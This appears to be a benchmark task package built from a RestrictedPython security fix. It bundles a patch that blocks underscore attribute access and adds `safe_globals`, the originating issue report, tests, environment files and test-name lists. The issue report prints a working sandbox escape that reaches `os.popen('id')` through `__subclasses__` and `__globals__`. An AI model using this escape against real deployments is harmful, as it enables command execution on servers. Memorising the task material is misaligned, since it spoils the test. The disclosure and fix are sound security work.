loechel: @icemac even if that might not be an attack vector for Zope and Plone could you please prioritize review, merge it yourself and cut a new release, please.
icemac: @loechel Are you okay with my changes?
diff --git a/.gitignore b/.gitignore
index 11314b9..9ef14d5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -60,6 +60,7 @@ secret.cfg
 /.ropeproject/
 /.project
 /.pydevproject
+.mypy_cache/
 
 # Import Data
 /*.csv
diff --git a/README.rst b/README.rst
index 2c4a7ce..261d650 100644
--- a/README.rst
+++ b/README.rst
@@ -25,7 +25,7 @@ This would not harm any system.
 .. code-block:: pycon
 
     >>> from RestrictedPython import compile_restricted
-    >>> from RestrictedPython import safe_builtins
+    >>> from RestrictedPython import safe_globals
     >>>
     >>> source_code = """
     ... def example():
@@ -34,7 +34,7 @@ This would not harm any system.
     >>>
     >>> loc = {}
     >>> byte_code = compile_restricted(source_code, '<inline>', 'exec')
-    >>> exec(byte_code, safe_builtins, loc)
+    >>> exec(byte_code, safe_globals, loc)
     >>>
     >>> loc['example']()
     'Hello World!'
@@ -47,7 +47,7 @@ This example directly executed in Python could harm your system.
 .. code-block:: pycon
 
     >>> from RestrictedPython import compile_restricted
-    >>> from RestrictedPython import safe_builtins
+    >>> from RestrictedPython import safe_globals
     >>>
     >>> source_code = """
     ... import os
@@ -55,6 +55,6 @@ This example directly executed in Python could harm your system.
     ... os.listdir('/')
     ... """
     >>> byte_code = compile_restricted(source_code, '<inline>', 'exec')
-    >>> exec(byte_code, {'__builtins__': safe_builtins}, {})
+    >>> exec(byte_code, safe_globals, {})
     Traceback (most recent call last):
     ImportError: __import__ not found
diff --git a/docs/CHANGES.rst b/docs/CHANGES.rst
index 65d797a..5cb4246 100644
--- a/docs/CHANGES.rst
+++ b/docs/CHANGES.rst
@@ -4,7 +4,16 @@ Changes
 4.0b7 (unreleased)
 ------------------
 
-- Nothing changed yet.
+- Fix documentation issue which leads to unnecessary unsafe code: Never use
+  ``safe_builtins`` as argument of ``compile_resticted`` but use
+  ``dict(__builtins__=safe_builtins)`` or the newly introduced
+  ``safe_globals``. Otherwise the default Python built-ins which are not in
+  ``safe_builtins`` can still be accessed.
+  (`#142 <https://github.com/zopefoundation/RestrictedPython/issues/142>`_)
+
+- Improve `.Guards.safer_getattr` to prevent accessing names starting with
+  underscore.
+  (`#142 <https://github.com/zopefoundation/RestrictedPython/issues/142>`_)
 
 
 4.0b6 (2018-10-05)
diff --git a/docs/RestrictedPython4/index.rst b/docs/RestrictedPython4/index.rst
index 60b5810..dcd17f7 100644
--- a/docs/RestrictedPython4/index.rst
+++ b/docs/RestrictedPython4/index.rst
@@ -12,7 +12,7 @@ Zope and Plone should become Python 3 compatible.
 
 One of the core features of Zope 2 and therefore Plone is the possibility to implement and modify Python scripts and templates through the web (TTW) without harming the application or server itself.
 
-As Python is a `Turing complete`_ programming language programmers don't have any limitation and could potentially harm the Application and Server itself.
+As Python is a `Turing complete <https://en.wikipedia.org/wiki/Turing_completeness>`_ programming language programmers don't have any limitation and could potentially harm the Application and Server itself.
 
 RestrictedPython and AccessControl aims on this topic to provide a reduced subset of the Python Programming language, where all functions that could harm the system are permitted by default.
 
@@ -20,18 +20,15 @@ Targeted Versions to support
 ----------------------------
 
 For the RestrictedPython 4 update we aim to support only current Python
-versions (the ones that will have active `security support`_ after this update
+versions (the ones that will have active `security support <https://docs.python.org/devguide/index.html#branchstatus>`_ after this update
 will be completed):
 
 * 2.7
-* 3.4
 * 3.5
 * 3.6
+* 3.7
 * PyPy2.7
 
-.. _`security support` : https://docs.python.org/devguide/index.html#branchstatus
-.. _`Turing complete`: https://en.wikipedia.org/wiki/Turing_completeness
-
 We explicitly excluded Python 3.3 and PyPy3 (which is based on the Python 3.3 specification) as the changes in Python 3.4 are significant and the Python 3.3 is nearing the end of its supported lifetime.
 
 Dependencies
diff --git a/docs/idea.rst b/docs/idea.rst
index 9cbe982..d462a1d 100644
--- a/docs/idea.rst
+++ b/docs/idea.rst
@@ -1,7 +1,7 @@
 The Idea behind RestrictedPython
 ================================
 
-Python is a `Turing complete`_ programming language.
+Python is a `Turing complete <https://en.wikipedia.org/wiki/Turing_completeness>`_ programming language.
 To offer a Python interface for users in web context is a potential security risk.
 Web frameworks and Content Management Systems (CMS) want to offer their users as much extensibility as possible through the web (TTW).
 This also means to have permissions to add functionality via a Python Script.
@@ -10,9 +10,9 @@ There should be additional preventive measures taken to ensure integrity of the
 
 RestrictedPython defines a safe subset of the Python programming language.
 This is a common approach for securing a programming language.
-The `Ada Ravenscar profile`_ is another example of such an approach.
+The `Ada Ravenscar profile <https://en.wikipedia.org/wiki/Ravenscar_profile>`_ is another example of such an approach.
 
-Defining a secure subset of the language involves restricting the `EBNF`_ elements and explicitly allowing or disallowing language features.
+Defining a secure subset of the language involves restricting the `EBNF <https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form>`_ elements and explicitly allowing or disallowing language features.
 Much of the power of a programming language derives from its standard and contributed libraries, so any calling of these methods must also be checked and potentially restricted.
 RestrictedPython generally disallows calls to any library that is not explicit whitelisted.
 
@@ -25,7 +25,7 @@ Python itself offers three methods that provide such a workflow:
 * ``exec`` / ``exec()`` which executes the byte code in the interpreter
 * ``eval`` / ``eval()`` which executes a byte code expression
 
-Therefore RestrictedPython offers a replacement for the python builtin function ``compile()`` (Python 2: https://docs.python.org/2/library/functions.html#compile / Python 3 https://docs.python.org/3/library/functions.html#compile).
+Therefore RestrictedPython offers a replacement for the python builtin function ``compile()`` (`Python 2 <https://docs.python.org/2/library/functions.html#compile>`_ / `Python 3 <https://docs.python.org/3/library/functions.html#compile>`_).
 This method is defined as following:
 
 .. code-block:: python
@@ -79,8 +79,8 @@ Also RestrictedPython provides three predefined, limited versions of Python's ow
 * ``limited_builtins`` (by Limits.py), which provides restricted sequence types
 * ``utilities_builtins`` (by Utilities.py), which provides access for standard modules math, random, string and for sets.
 
-Additional there exist guard functions to make attributes of Python objects immutable --> ``full_write_guard`` (write and delete protected)
+One special shortcut:
+
+* ``safe_globals`` for ``{'__builtins__': safe_builtins}`` (by Guards.py)
 
-.. _`Turing complete`: https://en.wikipedia.org/wiki/Turing_completeness
-.. _Ada Ravenscar Profile: https://en.wikipedia.org/wiki/Ravenscar_profile
-.. _EBNF: https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form
+Additional there exist guard functions to make attributes of Python objects immutable --> ``full_write_guard`` (write and delete protected)
diff --git a/docs/index.rst b/docs/index.rst
index 58e31e9..fc55c38 100644
--- a/docs/index.rst
+++ b/docs/index.rst
@@ -12,7 +12,7 @@ Welcome to RestrictedPython's documentation!
 Supported Python versions
 =========================
 
-RestrictedPython support CPython 2.7, 3.4, 3.5 and 3.6.
+RestrictedPython support CPython 2.7, 3.5, 3.6 and 3.7.
 It does _not_ support PyPy or other alternative Python implementations.
 
 Contents
diff --git a/docs/old_README.rst b/docs/old_README.rst
index baea238..f2384f0 100644
--- a/docs/old_README.rst
+++ b/docs/old_README.rst
@@ -61,9 +61,12 @@ Specifically:
    takes two arguments.  The first is the base object to be accessed,
    while the second is the attribute name or item index that will be
    read.  The guard function should return the attribute or subitem,
-   or raise an exception. RestrictedPython ships with a default implementation
-   for ``_getattr_`` which prevents from using the format method of
-   strings as it is considered harmful.
+   or raise an exception.
+   RestrictedPython ships with a default implementation
+   for ``_getattr_`` which prevents the following actions:
+
+   * accessing an attribute those name start with an underscore
+   * accessing the format method of strings as it is considered harmful.
 
 4. ``__import__`` is the normal Python import hook, and should be used
    to control access to Python packages and modules.
diff --git a/docs/upgrade/index.rst b/docs/upgrade/index.rst
index ba35ef1..ebd8c57 100644
--- a/docs/upgrade/index.rst
+++ b/docs/upgrade/index.rst
@@ -3,7 +3,7 @@ Concept for a upgrade to Python 3
 
 RestrictedPython is a classic approach of compiler construction to create a limited subset of an existing programming language.
 
-Defining a programming language requires a regular grammar (`Chomsky 3`_ / `EBNF`_) definition.
+Defining a programming language requires a regular grammar (`Chomsky 3 <https://en.wikipedia.org/wiki/Chomsky_hierarchy#Type-3_grammars>`_ / `EBNF <https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form>`_) definition.
 This grammar will be implemented in an abstract syntax tree (AST), which will be passed on to a code generator to produce a machine-readable version.
 
 .. _`_sec_code_generation`:
@@ -27,7 +27,7 @@ So we need to move from ``compiler.ast`` to ``ast`` to support newer Python vers
 
 From the point of view of compiler design, the concepts of the ``compiler`` module and the ``ast`` module are similar.
 The ``compiler`` module predates several major improvements of the Python development like a generally applied style guide.
-While ``compiler`` still uses the old `CamelCase`_ Syntax (``visitNode(self, node, walker)``) the ``ast.AST`` did now use the Python common ``visit_Node(self, node)`` syntax.
+While ``compiler`` still uses the old `CamelCase <https://en.wikipedia.org/wiki/Camel_case>`_ Syntax (``visitNode(self, node, walker)``) the ``ast.AST`` did now use the Python common ``visit_Node(self, node)`` syntax.
 Also the names of classes have been changed, where ``compiler`` uses ``Walker`` and ``Mutator`` the corresponding elements in ``ast.AST`` are ``NodeVisitor`` and ``NodeTransformator``.
 
 ``ast`` module (Abstract Syntax Trees)
@@ -64,15 +64,16 @@ Technical Backgrounds - Links to External Documentation
 
   * AST Grammar of Python
 
-    * `Python 3.6 AST`_
-    * `Python 3.5 AST`_
-    * `Python 3.4 AST`_
-    * `Python 3.3 AST`_
-    * `Python 3.2 AST`_
-    * `Python 3.1 AST`_
-    * `Python 3.0 AST`_
-    * `Python 2.7 AST`_
-    * `Python 2.6 AST`_
+    * `Python 3.7 AST <https://docs.python.org/3.7/library/ast.html#abstract-grammar>`_
+    * `Python 3.6 AST <https://docs.python.org/3.6/library/ast.html#abstract-grammar>`_
+    * `Python 3.5 AST <https://docs.python.org/3.5/library/ast.html#abstract-grammar>`_
+    * `Python 3.4 AST <https://docs.python.org/3.4/library/ast.html#abstract-grammar>`_
+    * `Python 3.3 AST <https://docs.python.org/3.3/library/ast.html#abstract-grammar>`_
+    * `Python 3.2 AST <https://docs.python.org/3.2/library/ast.html#abstract-grammar>`_
+    * `Python 3.1 AST <https://docs.python.org/3.1/library/ast.html#abstract-grammar>`_
+    * `Python 3.0 AST <https://docs.python.org/3.0/library/ast.html#abstract-grammar>`_
+    * `Python 2.7 AST <https://docs.python.org/2.7/library/ast.html#abstract-grammar>`_
+    * `Python 2.6 AST <https://docs.python.org/2.6/library/ast.html#abstract-grammar>`_
 
   * ``NodeVistiors``  (https://docs.python.org/3.5/library/ast.html#ast.NodeVisitor)
   * ``NodeTransformer``  (https://docs.python.org/3.5/library/ast.html#ast.NodeTransformer)
@@ -80,27 +81,3 @@ Technical Backgrounds - Links to External Documentation
 
 * In detail Documentation on the Python AST module ``ast`` (Green Tree Snakes) (https://greentreesnakes.readthedocs.org/en/latest/)
 * Example how to Instrumenting the Python AST (``ast.AST``) (http://www.dalkescientific.com/writings/diary/archive/2010/02/22/instrumenting_the_ast.html)
-
-.. _`CamelCase`: https://en.wikipedia.org/wiki/Camel_case
-
-.. _`EBNF`: https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form
-
-.. _`Chomsky 3`: https://en.wikipedia.org/wiki/Chomsky_hierarchy#Type-3_grammars
-
-.. _`Python 3.6 AST`: https://docs.python.org/3.6/library/ast.html#abstract-grammar
-
-.. _`Python 3.5 AST`: https://docs.python.org/3.5/library/ast.html#abstract-grammar
-
-.. _`Python 3.4 AST`: https://docs.python.org/3.4/library/ast.html#abstract-grammar
-
-.. _`Python 3.3 AST`: https://docs.python.org/3.3/library/ast.html#abstract-grammar
-
-.. _`Python 3.2 AST`: https://docs.python.org/3.2/library/ast.html#abstract-grammar
-
-.. _`Python 3.1 AST`: https://docs.python.org/3.1/library/ast.html#abstract-grammar
-
-.. _`Python 3.0 AST`: https://docs.python.org/3.0/library/ast.html#abstract-grammar
-
-.. _`Python 2.7 AST`: https://docs.python.org/2.7/library/ast.html#abstract-grammar
-
-.. _`Python 2.6 AST`: https://docs.python.org/2.6/library/ast.html#abstract-grammar
diff --git a/docs/upgrade_dependencies/index.rst b/docs/upgrade_dependencies/index.rst
index d411a14..62f02e8 100644
--- a/docs/upgrade_dependencies/index.rst
+++ b/docs/upgrade_dependencies/index.rst
@@ -28,6 +28,7 @@ RestrictedPython did move some of the imports to the base namespace, so you shou
 
 * predefined built-ins:
 
+  * ``from RestrictedPython import safe_globals``
   * ``from RestrictedPython import safe_builtins``
   * ``from RestrictedPython import limited_builtins``
   * ``from RestrictedPython import utility_builtins``
diff --git a/docs/usage/api.rst b/docs/usage/api.rst
index dc80ed7..32707c9 100644
--- a/docs/usage/api.rst
+++ b/docs/usage/api.rst
@@ -130,6 +130,7 @@ RestrictedPython has tree major scopes:
 
 2. restricted builtins
 
+  * ``safe_globals``
   * ``safe_builtins``
   * ``limited_builtins``
   * ``utility_builtins``
diff --git a/docs/usage/basic_usage.rst b/docs/usage/basic_usage.rst
index 2ed7d67..27b21b9 100644
--- a/docs/usage/basic_usage.rst
+++ b/docs/usage/basic_usage.rst
@@ -86,12 +86,14 @@ So you normally end up using:
             filename='<inline code>',
             mode='exec'
         )
-        exec(byte_code, safe_builtins, None)
+        exec(byte_code, {'__builtins__': safe_builtins}, None)
     except SyntaxError as e:
         pass
 
 One common advanced usage would be to define an own restricted builtin dictionary.
 
+There is a shortcut for ``{'__builtins__': safe_builtins}`` named ``safe_globals`` which can be imported from ``RestrictedPython``.
+
 Necessary setup
 ---------------
 
@@ -104,4 +106,8 @@ To use classes in Python 3
 To use ``for`` statements and comprehensions
     ``_iter_unpack_sequence_`` must point to :func:`RestrictedPython.Guards.guarded_iter_unpack_sequence`.
 
+To use ``getattr``
+    you have to provide an implementation for it.
+    :func:``RestrictedPython.Guards.safer_getattr`` can be a starting point.
+
 The usage of `RestrictedPython` in :mod:`AccessControl.ZopeGuards` can serve as example.
diff --git a/docs/usage/policy.rst b/docs/usage/policy.rst
index 0708653..79d3cd4 100644
--- a/docs/usage/policy.rst
+++ b/docs/usage/policy.rst
@@ -24,6 +24,8 @@ Predefined builtins
 * ``limited_builtins`` which provides restricted sequence types,
 * ``utility_builtins`` which provides access for standard modules math, random, string and for sets.
 
+* ``safe_globals`` a shortcut for ``glb = {'__builtins__': safe_builtins}``
+
 Guards
 ......
 
@@ -33,6 +35,7 @@ Guards
 
 RestrictedPython predefines several guarded access and manipulation methods:
 
+* ``safer_getattr``
 * ``guarded_setattr``
 * ``guarded_delattr``
 * ``guarded_iter_unpack_sequence``
diff --git a/src/RestrictedPython/Guards.py b/src/RestrictedPython/Guards.py
index 7d25f3e..0f2c8fc 100644
--- a/src/RestrictedPython/Guards.py
+++ b/src/RestrictedPython/Guards.py
@@ -256,7 +256,7 @@ def guarded_delattr(object, name):
 safe_builtins['delattr'] = guarded_delattr
 
 
-def safer_getattr(object, name, getattr=getattr):
+def safer_getattr(object, name, default=None, getattr=getattr):
     """Getattr implementation which prevents using format on string objects.
 
     format() is considered harmful:
@@ -266,7 +266,12 @@ def safer_getattr(object, name, getattr=getattr):
     if isinstance(object, _compat.basestring) and name == 'format':
         raise NotImplementedError(
             'Using format() on a %s is not safe.' % object.__class__.__name__)
-    return getattr(object, name)
+    if name.startswith('_'):
+        raise AttributeError(
+            '"{name}" is an invalid attribute name because it '
+            'starts with "_"'.format(name=name)
+        )
+    return getattr(object, name, default)
 
 
 safe_builtins['_getattr_'] = safer_getattr
@@ -308,3 +313,6 @@ def guarded_unpack_sequence(it, spec, _getiter_):
         ret[idx] = guarded_unpack_sequence(ret[idx], child_spec, _getiter_)
 
     return ret
+
+
+safe_globals = {'__builtins__': safe_builtins}
diff --git a/src/RestrictedPython/__init__.py b/src/RestrictedPython/__init__.py
index a6d79a6..4a002be 100644
--- a/src/RestrictedPython/__init__.py
+++ b/src/RestrictedPython/__init__.py
@@ -27,6 +27,7 @@ from RestrictedPython.compile import compile_restricted_single  # isort:skip
 
 # predefined builtins
 from RestrictedPython.Guards import safe_builtins  # isort:skip
+from RestrictedPython.Guards import safe_globals  # isort:skip
 from RestrictedPython.Limits import limited_builtins  # isort:skip
 from RestrictedPython.Utilities import utility_builtins  # isort:skip
 

`os.popen` Bypass
Hello! 

I just wanted to let you guys know that there is a work around for executing `os` module methods without the need of `__import__`. I'm aware that *RestrictedPython* is not a **"sandbox"** or a **"secure environment"**, but since there was **"Problematic code example"** in the docs, I just wanted to show you how this can be bypassed. I'm not really sure if this is a "bug" or not, but I just wanted to share :)

### Bypass
```python
>>> from RestrictedPython import compile_restricted
>>> from RestrictedPython import safe_builtins
>>>
>>> loc={}
>>> exec(compile_restricted("def exec_bypass(): return getattr(getattr(getattr(getattr(getattr([], '__class__'),'__base__'), '__subclasses__')().pop(78), '__init__'), '__globals__').pop('sys').modules.pop('os').popen('id').read()", '<inline>', 'exec'), safe_builtins, loc)
>>> loc['exec_bypass']()
'uid=0(root) gid=0(root) groups=0(root)\n'
```

Here, I used `getattr` since I couldn't access whatever that starts with an `"_"`. `78` is the index of `<class 'codecs.IncrementalEncoder'>` and this index can vary. If you are locally testing this out make sure to first find the index of the class `codecs.IncrementalEncoder`. I also had to use `pop` because `__getitem__` was not available.

This code kind of translates to the one below

```python
[].__class__.__base__.__subclasses__()[78].__init__.__globals__['sys'].modules['os'].popen("id").read()
```

Thanks!

diff --git a/tests/test_Guards.py b/tests/test_Guards.py
index c933d2f..15171a3 100644
--- a/tests/test_Guards.py
+++ b/tests/test_Guards.py
@@ -2,6 +2,7 @@ from RestrictedPython._compat import IS_PY2
 from RestrictedPython._compat import IS_PY3
 from RestrictedPython.Guards import guarded_unpack_sequence
 from RestrictedPython.Guards import safe_builtins
+from RestrictedPython.Guards import safe_globals
 from RestrictedPython.Guards import safer_getattr
 from tests import c_exec
 from tests import e_eval
@@ -13,8 +14,7 @@ import pytest
 @pytest.mark.parametrize(*e_eval)
 def test_Guards__safe_builtins__1(e_eval):
     """It contains `slice()`."""
-    restricted_globals = dict(__builtins__=safe_builtins)
-    assert e_eval('slice(1)', restricted_globals) == slice(1)
+    assert e_eval('slice(1)', safe_globals) == slice(1)
 
 
 @pytest.mark.parametrize(*e_exec)
@@ -241,3 +241,23 @@ def test_call_py2_builtins(c_exec):
     result = c_exec('__builtins__["getattr"]')
     assert result.code is None
     assert result.errors == ('Line 1: "__builtins__" is an invalid variable name because it starts with "_"',)  # NOQA: E501
+
+
+GETATTR_UNDERSCORE_NAME = """
+getattr([], '__class__')
+"""
+
+
+@pytest.mark.parametrize(*c_exec)
+def test_safer_getattr__underscore_name(c_exec):
+    """It prevents accessing an attribute which starts with an underscore."""
+    result = c_exec(GETATTR_UNDERSCORE_NAME)
+    assert result.errors == ()
+    assert result.warnings == []
+    glb = safe_globals.copy()
+    glb['getattr'] = safer_getattr
+    with pytest.raises(AttributeError) as err:
+        exec(result.code, glb, {})
+    assert (
+        '"__class__" is an invalid attribute name because it starts with "_"'
+        == str(err.value))
diff --git a/tests/test_compile_restricted_function.py b/tests/test_compile_restricted_function.py
index 7ea1a13..8f5eac1 100644
--- a/tests/test_compile_restricted_function.py
+++ b/tests/test_compile_restricted_function.py
@@ -30,9 +30,9 @@ return printed
     safe_globals = {
         '__name__': 'script',
         '_getattr_': getattr,
-        '_print_': PrintCollector
+        '_print_': PrintCollector,
+        '__builtins__': safe_builtins,
     }
-    safe_globals.update(safe_builtins)
     safe_locals = {}
     exec(result.code, safe_globals, safe_locals)
     hello_world = safe_locals['hello_world']
@@ -64,8 +64,8 @@ return printed
         '__name__': 'script',
         '_getattr_': getattr,
         '_print_': PrintCollector,
+        '__builtins__': safe_builtins,
     }
-    safe_globals.update(safe_builtins)
 
     func = FunctionType(result.code, safe_globals)
     func()
@@ -98,9 +98,9 @@ return printed
     safe_globals = {
         '__name__': 'script',
         '_getattr_': getattr,
-        '_print_': PrintCollector
+        '_print_': PrintCollector,
+        '__builtins__': safe_builtins,
     }
-    safe_globals.update(safe_builtins)
     safe_locals = {}
     exec(result.code, safe_globals, safe_locals)
     hello_world = safe_locals['hello_world']
@@ -133,9 +133,9 @@ return printed
         '__name__': 'script',
         '_getattr_': getattr,
         'input': 'Hello World!',
-        '_print_': PrintCollector
+        '_print_': PrintCollector,
+        '__builtins__': safe_builtins,
     }
-    safe_globals.update(safe_builtins)
     safe_locals = {}
     exec(result.code, safe_globals, safe_locals)
     hello_world = safe_locals['hello_world']
@@ -164,8 +164,8 @@ def test_compile_restricted_function_pretends_the_code_is_executed_in_a_global_s
     safe_globals = {
         '__name__': 'script',
         'output': 'foo',
+        '__builtins__': {},
     }
-    # safe_globals.update(safe_builtins)
     safe_locals = {}
     exec(result.code, safe_globals, safe_locals)
     hello_world = safe_locals['hello_world']
@@ -195,8 +195,8 @@ def test_compile_restricted_function_allows_invalid_python_identifiers_as_functi
     safe_globals = {
         '__name__': 'script',
         'output': 'foo',
+        '__builtins__': {},
     }
-    # safe_globals.update(safe_builtins)
     safe_locals = {}
     exec(result.code, safe_globals, safe_locals)
     generated_function = tuple(safe_locals.values())[0]
diff --git a/tests/test_iterating_over_dict_items.py b/tests/test_iterating_over_dict_items.py
index ab06262..6fa6987 100644
--- a/tests/test_iterating_over_dict_items.py
+++ b/tests/test_iterating_over_dict_items.py
@@ -1,4 +1,4 @@
-from RestrictedPython import safe_builtins
+from RestrictedPython import safe_globals
 from RestrictedPython.Eval import default_guarded_getiter
 from RestrictedPython.Guards import guarded_iter_unpack_sequence
 from tests import c_exec
@@ -26,7 +26,7 @@ def test_iterate_over_dict_items_plain(c_exec):
 
 @pytest.mark.parametrize(*c_exec)
 def test_iterate_over_dict_items_safe(c_exec):
-    glb = safe_builtins.copy()
+    glb = safe_globals.copy()
     glb['_getiter_'] = default_guarded_getiter
     glb['_iter_unpack_sequence_'] = guarded_iter_unpack_sequence
     result = c_exec(ITERATE_OVER_DICT_ITEMS)

pip install -e .[develop,test]
parse_log_pytest
requirements.txt
pytest pytest-cov pytest-remove-stale-bytecode pytest-html
3.6
pytest --no-header -rA --tb=line --color=no -p no:cacheprovider -W ignore::DeprecationWarning
attrs==22.2.0
certifi==2021.5.30
coverage==6.2
importlib-metadata==4.8.3
iniconfig==1.1.1
packaging==21.3
pluggy==1.0.0
py==1.11.0
pyparsing==3.1.4
pytest==7.0.1
pytest-cov==4.0.0
pytest-html==3.2.0
pytest-metadata==1.11.0
pytest-mock==3.6.1
pytest-remove-stale-bytecode==5.0.1
-e git+https://github.com/zopefoundation/RestrictedPython.git@c055c5229ca14853d23b3402fa5021769160ab85#egg=RestrictedPython
tomli==1.2.3
typing_extensions==4.1.1
zipp==3.6.0

name: RestrictedPython
channels:
  - defaults
  - https://repo.anaconda.com/pkgs/main
  - https://repo.anaconda.com/pkgs/r
  - conda-forge
dependencies:
  - _libgcc_mutex=0.1=main
  - _openmp_mutex=5.1=1_gnu
  - ca-certificates=2025.2.25=h06a4308_0
  - certifi=2021.5.30=py36h06a4308_0
  - ld_impl_linux-64=2.40=h12ee557_0
  - libffi=3.3=he6710b0_2
  - libgcc-ng=11.2.0=h1234567_1
  - libgomp=11.2.0=h1234567_1
  - libstdcxx-ng=11.2.0=h1234567_1
  - ncurses=6.4=h6a678d5_0
  - openssl=1.1.1w=h7f8727e_0
  - pip=21.2.2=py36h06a4308_0
  - python=3.6.13=h12debd9_1
  - readline=8.2=h5eee18b_0
  - setuptools=58.0.4=py36h06a4308_0
  - sqlite=3.45.3=h5eee18b_0
  - tk=8.6.14=h39e8969_0
  - wheel=0.37.1=pyhd3eb1b0_0
  - xz=5.6.4=h5eee18b_1
  - zlib=1.2.13=h5eee18b_1
  - pip:
      - attrs==22.2.0
      - coverage==6.2
      - importlib-metadata==4.8.3
      - iniconfig==1.1.1
      - packaging==21.3
      - pluggy==1.0.0
      - py==1.11.0
      - pyparsing==3.1.4
      - pytest==7.0.1
      - pytest-cov==4.0.0
      - pytest-html==3.2.0
      - pytest-metadata==1.11.0
      - pytest-mock==3.6.1
      - pytest-remove-stale-bytecode==5.0.1
      - tomli==1.2.3
      - typing-extensions==4.1.1
      - zipp==3.6.0
prefix: /opt/conda/envs/RestrictedPython

tests/test_Guards.py::test_Guards__safe_builtins__1[_eval] tests/test_Guards.py::test_Guards__safe_builtins__2[_exec] tests/test_Guards.py::test_Guards__guarded_setattr__1[_exec] tests/test_Guards.py::test_Guards__write_wrapper__1[_exec] tests/test_Guards.py::test_Guards__write_wrapper__2[_exec] tests/test_Guards.py::test_Guards__guarded_unpack_sequence__1[_exec] tests/test_Guards.py::test_Guards__safer_getattr__1[_exec] tests/test_Guards.py::test_Guards__safer_getattr__2[_exec] tests/test_Guards.py::test_Guards__safer_getattr__3[_exec] tests/test_Guards.py::test_call_py3_builtins[compile_restricted_exec] tests/test_Guards.py::test_safer_getattr__underscore_name[compile_restricted_exec] tests/test_compile_restricted_function.py::test_compile_restricted_function[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_func_wrapped[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_with_arguments[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_can_access_global_variables[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_pretends_the_code_is_executed_in_a_global_scope[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_allows_invalid_python_identifiers_as_function_name[compile_restricted_function] tests/test_compile_restricted_function.py::test_compile_restricted_function_handle_SyntaxError[compile_restricted_function] tests/test_iterating_over_dict_items.py::test_iterate_over_dict_items_plain[compile_restricted_exec] tests/test_iterating_over_dict_items.py::test_iterate_over_dict_items_safe[compile_restricted_exec]
README.rst docs/CHANGES.rst docs/idea.rst docs/usage/basic_usage.rst docs/upgrade/index.rst docs/usage/policy.rst docs/usage/api.rst src/RestrictedPython/__init__.py docs/old_README.rst .gitignore docs/upgrade_dependencies/index.rst docs/index.rst docs/RestrictedPython4/index.rst src/RestrictedPython/Guards.py
README.rst docs/CHANGES.rst docs/idea.rst docs/usage/basic_usage.rst docs/upgrade/index.rst docs/usage/policy.rst docs/usage/api.rst src/RestrictedPython/__init__.py docs/old_README.rst .gitignore docs/upgrade_dependencies/index.rst docs/index.rst docs/RestrictedPython4/index.rst src/RestrictedPython/Guards.py